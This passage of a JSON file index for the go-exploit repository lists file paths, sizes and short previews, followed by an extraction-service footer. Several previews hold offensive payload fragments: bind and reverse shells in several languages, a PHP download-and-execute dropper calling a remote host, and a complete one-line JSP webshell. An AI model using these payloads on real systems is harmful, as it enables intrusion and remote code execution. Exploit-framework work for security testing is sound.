"preview": "package bindshell\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tNetcatDefault = \"nc -l -p "
},
{
"path": "payload/bindshell/telnet.go",
"chars": 289,
"preview": "package bindshell\n\nimport (\n\t\"fmt\"\n)\n\nconst TelnetDefault = \"telnetd -l /bin/sh -p %d\"\n\nfunc (telnet *TelnetPayload) Def"
},
{
"path": "payload/dropper/dropper.go",
"chars": 515,
"preview": "// File dropper download and execute payloads.\n//\n// The dropper package contains all the code for download and execute "
},
{
"path": "payload/dropper/dropper_test.go",
"chars": 4525,
"preview": "package dropper_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/dropper\"\n)\n\nfunc Tes"
},
{
"path": "payload/dropper/groovy.go",
"chars": 665,
"preview": "package dropper\n\nimport (\n\t\"fmt\"\n)\n\n// Using Groovy, download a remote file, set it to executable, execute it, and delet"
},
{
"path": "payload/dropper/php/dropper.php",
"chars": 147,
"preview": "<?php $d = file_get_contents(\"http://%s:%d/%s\");$o=tempnam(sys_get_temp_dir(), \"\");file_put_contents($o,$d);chmod($o, 07"
},
{
"path": "payload/dropper/php/dropper_secure.php",
"chars": 295,
"preview": "<?php $options = array(\"ssl\" => array(\"verify_peer\" => false,\"verify_peer_name\" => false,),);$context = stream_context_c"
},
{
"path": "payload/dropper/php.go",
"chars": 504,
"preview": "package dropper\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\t//go:embed php/dropper.php\n\tPHPDropper string\n\t//go:embed php/drop"
},
{
"path": "payload/dropper/unix.go",
"chars": 3232,
"preview": "package dropper\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Download a remote file with curl, "
},
{
"path": "payload/dropper/windows.go",
"chars": 3136,
"preview": "package dropper\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Download a remote file "
},
{
"path": "payload/encode.go",
"chars": 615,
"preview": "// Payload related functions and actions\n//\n// The payload package contains a collection of universally applicable funct"
},
{
"path": "payload/encode_test.go",
"chars": 444,
"preview": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestEncodeCommandBrace"
},
{
"path": "payload/fileplant/cron.go",
"chars": 1292,
"preview": "// file planting based payloads.\n//\n// The fileplant package contains payloads to aid the exploit developer in achieving"
},
{
"path": "payload/fileplant/fileplant_test.go",
"chars": 417,
"preview": "package fileplant_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/fileplant\"\n)\n\nfunc TestEncode"
},
{
"path": "payload/payload.go",
"chars": 11357,
"preview": "package payload\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)"
},
{
"path": "payload/payload_test.go",
"chars": 3239,
"preview": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestArchFromString(t *"
},
{
"path": "payload/reverse/bash.go",
"chars": 1176,
"preview": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tBashDefault = BashTCPRedirection\n\tBashTCPRedirection = `bash -c 'bas"
},
{
"path": "payload/reverse/gjscript/glib_spawn.gjs",
"chars": 529,
"preview": "const Gio = imports.gi.Gio;\nconst GLib = imports.gi.GLib;\n\ntry {\n\tlet connection = (new Gio.SocketClient()).connect_to_h"
},
{
"path": "payload/reverse/gjscript.go",
"chars": 616,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n//go:embed gjscript/glib_spawn.gjs\nvar GJScriptGLibSpawn strin"
},
{
"path": "payload/reverse/groovy/classic.groovy",
"chars": 585,
"preview": "shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(she"
},
{
"path": "payload/reverse/groovy.go",
"chars": 509,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed groovy/classic.groovy\n\tGroovyClassic string\n"
},
{
"path": "payload/reverse/java/process_builder.java",
"chars": 671,
"preview": "String shell = \"/bin/sh\";\nif (System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n};\nProcess p"
},
{
"path": "payload/reverse/java.go",
"chars": 730,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed java/process_builder.java\n\tJavaProcessBuilde"
},
{
"path": "payload/reverse/jjs/reverse_shell.jjs",
"chars": 999,
"preview": "var shell = \"bash\";\nif (java.lang.System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n}\nvar p="
},
{
"path": "payload/reverse/jjs/reverse_shell_ssl.jjs",
"chars": 1534,
"preview": "var shell = \"bash\";\nif (java.lang.System.getProperty(\"os.name\").indexOf(\"Windows\") != -1) {\n\tshell = \"cmd.exe\";\n}\nvar p="
},
{
"path": "payload/reverse/jjs.go",
"chars": 982,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\t//go:embed jjs/reverse_shell.jjs\n\tJJSShell string\n\n\t//g"
},
{
"path": "payload/reverse/js.go",
"chars": 681,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\n\t//go:embed nodejs/reverse.js\n\tNodeJS string\n\t//go:embed nodejs/re"
},
{
"path": "payload/reverse/netcat.go",
"chars": 805,
"preview": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tNetcatDefault = NetcatGaping"
},
{
"path": "payload/reverse/nodejs/reverse.js",
"chars": 351,
"preview": "(function(){\n\tvar net = require('net'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"w"
},
{
"path": "payload/reverse/nodejs/reverse_tls.js",
"chars": 399,
"preview": "(function(){\n\tvar tls = require('tls'),\n\t\tcp = require('child_process'),\n\t\tshell = \"/bin/sh\";\n\tif(process.platform == \"w"
},
{
"path": "payload/reverse/openssl.go",
"chars": 817,
"preview": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tOpenSSLDefault = OpenSSLMkno"
},
{
"path": "payload/reverse/perl.go",
"chars": 1274,
"preview": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tPerlDefault = PerlSocket\n\tPerlSocket = `perl -e 'use Socket;$i=\"%s\";"
},
{
"path": "payload/reverse/php/unflattened.php",
"chars": 1605,
"preview": "<?php\nfunction dataTransfer($input, $output) {\n\t$data = fread($input, 1024);\n\tfwrite($output, $data);\n}\n\nfunction window"
},
{
"path": "payload/reverse/php/unflattened_self_delete.php",
"chars": 1705,
"preview": "<?php\nclass Del {\n\tfunction __destruct() {\n\t unlink(__FILE__);\n\t}\n}\n$d = new Del();\nunlink(__FILE__);\n\nfunction dataT"
},
{
"path": "payload/reverse/php.go",
"chars": 1703,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar (\n\tPHPDefault = PHPLinuxInteractive\n\tPHPLinuxInte"
},
{
"path": "payload/reverse/python/reverse27.py",
"chars": 405,
"preview": "import socket\nimport subprocess\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\nwhile 1:\n "
},
{
"path": "payload/reverse/python/reverse27_secure.py",
"chars": 488,
"preview": "import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\ns"
},
{
"path": "payload/reverse/python/reverse3_12_secure.py",
"chars": 557,
"preview": "import socket\nimport subprocess\nimport ssl\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('%s', %d))\ns"
},
{
"path": "payload/reverse/python.go",
"chars": 1155,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\tPythonDefault = Python27\n\n\t//go:embed python/reverse27.py\n\tPython2"
},
{
"path": "payload/reverse/reverse.go",
"chars": 2077,
"preview": "// Reverse shell and command payloads.\n//\n// The reverse package contains all the code for reverse shell payloads. Each "
},
{
"path": "payload/reverse/reverse_test.go",
"chars": 8320,
"preview": "package reverse_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/reverse\"\n)\n\nf"
},
{
"path": "payload/reverse/ruby.go",
"chars": 893,
"preview": "package reverse\n\nimport (\n\t\"fmt\"\n)\n\nconst (\n\tRubyDefault = RubySocket\n\tRubySocket = `ruby -rsocket -e'f=TCPSocket.open("
},
{
"path": "payload/reverse/telnet.go",
"chars": 1165,
"preview": "package reverse\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tTelnetDefault = Telnet"
},
{
"path": "payload/reverse/vbs/reverse_http.vbs",
"chars": 1555,
"preview": "Option Explicit\n\nCONST lkasjfo = \"%s://%s:%d/\"\nCONST fowihe = \"%s\"\n\nDim xmlHttpReq, shell, execObj, alfkj, break, result"
},
{
"path": "payload/reverse/vbs.go",
"chars": 557,
"preview": "package reverse\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\n//go:embed vbs/reverse_http.vbs\nvar VBSShell string\n\n// Generates a scrip"
},
{
"path": "payload/webshell/aspx.go",
"chars": 712,
"preview": "package webshell\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst aspxTemplate = `<%@ Page L"
},
{
"path": "payload/webshell/bash.go",
"chars": 289,
"preview": "package webshell\n\n// A very basic bash webshell that evaluates commands from the QUERY_STRING.\n// Works with POST or GET"
},
{
"path": "payload/webshell/jsp/webshell.jsp",
"chars": 314,
"preview": "<%%@ page import=\"java.io.*\"%%>\n<%%\nif (request.getParameter(\"%s\") != null) {\n\tProcess p = Runtime.getRuntime().exec(req"
},
{
"path": "payload/webshell/jsp/webshell_min.jsp",
"chars": 60,
"preview": "<%%Runtime.getRuntime().exec(request.getParameter(\"%s\"));%%>"
},
{
"path": "payload/webshell/jsp.go",
"chars": 747,
"preview": "package webshell\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\t//go:embed jsp/webshell.jsp\n\tGetKeyed string\n\t//go:embed jsp/webs"
},
{
"path": "payload/webshell/php.go",
"chars": 436,
"preview": "package webshell\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// A very basic PHP webshell using s"
},
{
"path": "payload/webshell/webshell.go",
"chars": 363,
"preview": "// Webshell payloads\n//\n// The webshell package contains webshell payloads that can be dropped onto remote targets\npacka"
},
{
"path": "payload/webshell/webshell_test.go",
"chars": 2525,
"preview": "package webshell_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/webshell\"\n)\n\nfunc T"
},
{
"path": "payload/wrapper.go",
"chars": 8345,
"preview": "package payload\n\nimport (\n\tb64 \"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar phpFilterMap = map[string]string{\n\t\"0\": \"conve"
},
{
"path": "payload/wrapper_test.go",
"chars": 5638,
"preview": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestBase64EncodeForBas"
},
{
"path": "product/asus/asus.go",
"chars": 1460,
"preview": "// Package asus\n// Contains HTTP utilities for communicating with Asus products\npackage asus\n\nimport (\n\t\"encoding/base64"
},
{
"path": "product/product.go",
"chars": 83,
"preview": "// Per-product code to reduce copy-and-pasting for common targets.\npackage product\n"
},
{
"path": "product/wordpress/plugins.go",
"chars": 4096,
"preview": "package wordpress\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"github.com/vulncheck-oss/go-exploit/"
},
{
"path": "product/wordpress/wordpress.go",
"chars": 1814,
"preview": "// WordPress automation wrappers\npackage wordpress\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-o"
},
{
"path": "protocol/afp/afp.go",
"chars": 29955,
"preview": "// AFP network protocol\npackage afp\n\nimport (\n\t\"encoding/binary\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/g"
},
{
"path": "protocol/ajp/ajp.go",
"chars": 8619,
"preview": "// Package ajp is a very basic (and incomplete) implementation of the AJPv13 protocol. This implementation is\n// enough "
},
{
"path": "protocol/ajp/ajp_test.go",
"chars": 1370,
"preview": "package ajp\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestStructCreation(t *testing.T) {\n\treq := createFor"
},
{
"path": "protocol/dotnetremoting/dotnetremoting.go",
"chars": 13248,
"preview": "// A library for .NET remoting functionality\n//\n// The exploit remoting service tool by tyranid was the primary referenc"
},
{
"path": "protocol/fortinet/fgfm.go",
"chars": 2759,
"preview": "// Package fortinet is a very basic (and incomplete) implementation of Fortinet FGFM protocol\npackage fortinet\n\nimport ("
},
{
"path": "protocol/http-user-agent.txt",
"chars": 111,
"preview": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
},
{
"path": "protocol/httphelper.go",
"chars": 19989,
"preview": "// Network protocols. The core go-exploit protocol package contains a set of helper functions for common HTTP, TCP, and "
},
{
"path": "protocol/httphelper_test.go",
"chars": 1576,
"preview": "package protocol\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n)\n\nfunc TestBasicAuth(t *testing.T) {\n\tauth := BasicAuth(\"foo\", \"bar\")"
},
{
"path": "protocol/ikev2/ikev2.go",
"chars": 5676,
"preview": "// Package ikev2\n// A (very) basic framework for an ikev2 protocol.\n// The intent with adding this package is not to add"
},
{
"path": "protocol/ikev2/ikev2_test.go",
"chars": 3552,
"preview": "package ikev2\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestVendorIDPack(t *testing.T) {\n\twant := \"2b000014c59"
},
{
"path": "protocol/ikev2/packs.go",
"chars": 4571,
"preview": "package ikev2\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// Creates a Nonce component.\n//\n//\tikev2.Ik"
},
{
"path": "protocol/ikev2/types.go",
"chars": 7433,
"preview": "package ikev2\n\nimport (\n\t\"math/big\"\n\t\"net\"\n)\n\n// I hate go idioms for enums, so we're doing string maps.\n// The primary "
},
{
"path": "protocol/mikrotik/mikrotik_test.go",
"chars": 6757,
"preview": "package mikrotik\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc Test_CVE_2018_14847_ServerResponse1(t *testing.T) {\n\tresult := Ne"
},
{
"path": "protocol/mikrotik/msg.go",
"chars": 8017,
"preview": "// `msg.go` contains the logic for building, reading, accessing, and\n// serializing RouterOS M2 messages.\npackage mikrot"
},
{
"path": "protocol/mikrotik/webfig.go",
"chars": 9802,
"preview": "// `webfig.go` implements encryption negotiation and authentication against\n// the web interface (webfig) of RouterOS v6"
},
{
"path": "protocol/mikrotik/winbox.go",
"chars": 2174,
"preview": "// `winbox.go` contains the logic for sending unencrypted M2 messages to\n// the RouterOS Winbox port (8291)\npackage mikr"
},
{
"path": "protocol/rocketmq/remoting.go",
"chars": 3085,
"preview": "// Package rocketmq is a very basic (and incomplete) implementation of RocketMQ remoting protocol\npackage rocketmq\n\nimpo"
},
{
"path": "protocol/rocketmq/remoting_test.go",
"chars": 459,
"preview": "package rocketmq\n\nimport (\n\t\"math\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc Test_MaxSize(t *testing.T) {\n\tmsg := strings.Repeat(\"A\""
},
{
"path": "protocol/sip/examples/README.md",
"chars": 197,
"preview": "# SIP examples\n\n## Usage\n\nStart the local Asterisk server and run a example.\n\n```sh\ncd protocol/sip/examples\ndocker comp"
},
{
"path": "protocol/sip/examples/call/main.go",
"chars": 3144,
"preview": "// This example registers an endpoint (user authentication) in a server\n// and starts a call (only the SIP related part)"
},
{
"path": "protocol/sip/examples/docker-compose.yml",
"chars": 378,
"preview": "name: go-exploit-examples\n\nservices:\n asterisk:\n image: mlan/asterisk\n network_mode: bridge # For testing\n cap"
},
{
"path": "protocol/sip/examples/ping/main.go",
"chars": 1196,
"preview": "// This example checks if a UDP server is up.\n//\n// The OPTION method is used to discover the server capabilities:\n// - "
},
{
"path": "protocol/sip/examples/tcp/main.go",
"chars": 1050,
"preview": "// This example sends an OPTIONS request over TCP (or TLS).\npackage main\n\nimport (\n\tsipgo \"github.com/emiago/sipgo/sip\"\n"
},
{
"path": "protocol/sip/helper.go",
"chars": 16080,
"preview": "// Package sip is a very basic (and incomplete) implementation of SIP messaging protocol.\n//\n// Based on the sipgo libra"
},
{
"path": "protocol/sip/helper_test.go",
"chars": 24767,
"preview": "package sip\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/emiago/sipgo/sip\"\n)\n\nconst (\n\thost = \"l"
},
{
"path": "protocol/sip/user-agent.txt",
"chars": 23,
"preview": "Jitsi2.10.5550Mac OS X\n"
},
{
"path": "protocol/tcpsocket.go",
"chars": 3147,
"preview": "package protocol\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"golang.org/x/net/proxy\"\n\n\t"
},
{
"path": "protocol/udpsocket.go",
"chars": 1424,
"preview": "package protocol\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Dial to a UDP network "
},
{
"path": "random/random.go",
"chars": 5596,
"preview": "// Code for generating random data and helpers for common patterns for adding variableness to exploits.\npackage random\n\n"
},
{
"path": "random/random_test.go",
"chars": 5781,
"preview": "package random\n\nimport (\n\t\"net\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc Test_RandPositiveInt(t *testing.T) {\n\tinteger := RandPosit"
},
{
"path": "search/search_test.go",
"chars": 7681,
"preview": "package search_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/search\"\n)\n\nvar htmlTestOIDC = `<html><he"
},
{
"path": "search/semver.go",
"chars": 999,
"preview": "// Data searching and version checking shared code\npackage search\n\nimport (\n\t\"github.com/Masterminds/semver\"\n\n\t\"github.c"
},
{
"path": "search/xpath.go",
"chars": 1653,
"preview": "package search\n\nimport (\n\t\"strings\"\n\n\t\"github.com/antchfx/htmlquery\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n//"
},
{
"path": "transform/encode.go",
"chars": 6863,
"preview": "package transform\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"slices\"\n\t\"strconv\"\n\t"
},
{
"path": "transform/encode_test.go",
"chars": 3936,
"preview": "package transform\n\nimport (\n\t\"testing\"\n)\n\nconst (\n\turlTestString = \"Theskyabovetheportwasthecoloroftelevision,tunedtoade"
},
{
"path": "transform/escape.go",
"chars": 360,
"preview": "package transform\n\nimport (\n\t\"encoding/xml\"\n\t\"html\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nvar Esc"
},
{
"path": "transform/escape_test.go",
"chars": 335,
"preview": "package transform\n\nimport (\n\t\"testing\"\n)\n\nfunc TestEscapeHTML(t *testing.T) {\n\tescaped := EscapeHTML(\"<script>\")\n\n\tif es"
},
{
"path": "transform/parsing.go",
"chars": 938,
"preview": "package transform\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Provided a command param tha"
},
{
"path": "transform/parsing_test.go",
"chars": 342,
"preview": "package transform\n\nimport \"testing\"\n\nfunc TestParseCommand(t *testing.T) {\n\tprogram, args, ok := ParseCommand(\"cmd.exe /"
},
{
"path": "transform/transform.go",
"chars": 1287,
"preview": "// Data transformation utilities.\npackage transform\n\nimport (\n\tcrand \"crypto/rand\"\n\t\"math\"\n\t\"math/big\"\n\t\"math/rand\"\n\t\"ne"
},
{
"path": "transform/transform_test.go",
"chars": 1895,
"preview": "package transform\n\nimport (\n\t\"testing\"\n)\n\nfunc TestShuffleParameters(t *testing.T) {\n\tunsorted := \"/?a=1&b=2&c=3&d=4&e=5"
},
{
"path": "windows/alpc_other.go",
"chars": 2107,
"preview": "//go:build !windows\n\npackage windows\n\nimport \"unsafe\"\n\n// ALPC Information Classes.\n// These constants are defined on no"
},
{
"path": "windows/alpc_test.go",
"chars": 2417,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestALPCInf"
},
{
"path": "windows/alpc_windows.go",
"chars": 5571,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\""
},
{
"path": "windows/device_other.go",
"chars": 1325,
"preview": "//go:build !windows\n\npackage windows\n\nimport \"unsafe\"\n\n// OpenDevice opens a handle to a device driver.\n// On non-Window"
},
{
"path": "windows/device_test.go",
"chars": 1207,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestCtlCode"
},
{
"path": "windows/device_windows.go",
"chars": 3337,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sy"
},
{
"path": "windows/fsctl_other.go",
"chars": 744,
"preview": "//go:build !windows\n\npackage windows\n\n// NtFsControlFile sends a filesystem control code to a file handle.\n// On non-Win"
},
{
"path": "windows/fsctl_windows.go",
"chars": 3169,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"gola"
},
{
"path": "windows/handle_other.go",
"chars": 1648,
"preview": "//go:build !windows\n\npackage windows\n\n// QuerySystemHandles returns all handles in the system.\n// On non-Windows systems"
},
{
"path": "windows/handle_test.go",
"chars": 1536,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestHandleD"
},
{
"path": "windows/handle_windows.go",
"chars": 6040,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n\n\t\"github.com/vulncheck-"
},
{
"path": "windows/memory_other.go",
"chars": 2821,
"preview": "//go:build !windows\n\npackage windows\n\n// VirtualAlloc allocates memory in the current process.\n// On non-Windows systems"
},
{
"path": "windows/memory_test.go",
"chars": 3483,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestMemoryP"
},
{
"path": "windows/memory_windows.go",
"chars": 7370,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sy"
},
{
"path": "windows/platform_other.go",
"chars": 2190,
"preview": "//go:build !windows\n\npackage windows\n\n// GetPlatformInfo returns platform information.\n// On non-Windows systems, return"
},
{
"path": "windows/platform_windows.go",
"chars": 11513,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\""
},
{
"path": "windows/service_other.go",
"chars": 1656,
"preview": "//go:build !windows\n\npackage windows\n\n// SCManager is a placeholder for the service control manager handle.\ntype SCManag"
},
{
"path": "windows/service_test.go",
"chars": 1997,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestService"
},
{
"path": "windows/service_windows.go",
"chars": 6812,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n"
},
{
"path": "windows/token_other.go",
"chars": 4211,
"preview": "//go:build !windows\n\npackage windows\n\n// OpenProcessToken opens the access token associated with a process.\n// On non-Wi"
},
{
"path": "windows/token_test.go",
"chars": 4663,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestTokenTy"
},
{
"path": "windows/token_windows.go",
"chars": 10458,
"preview": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n\n\t\"github.com/vulncheck-oss/go-expl"
},
{
"path": "windows/windows.go",
"chars": 12798,
"preview": "// Windows provides Windows-specific functionality for local privilege\n// escalation exploits. This package includes pro"
},
{
"path": "windows/windows_test.go",
"chars": 4220,
"preview": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nconst windowsOS "
}
]
About this extraction
This page contains the full source code of the vulncheck-oss/go-exploit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 198 files (1.1 MB), approximately 381.1k tokens, and a symbol index with 1760 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.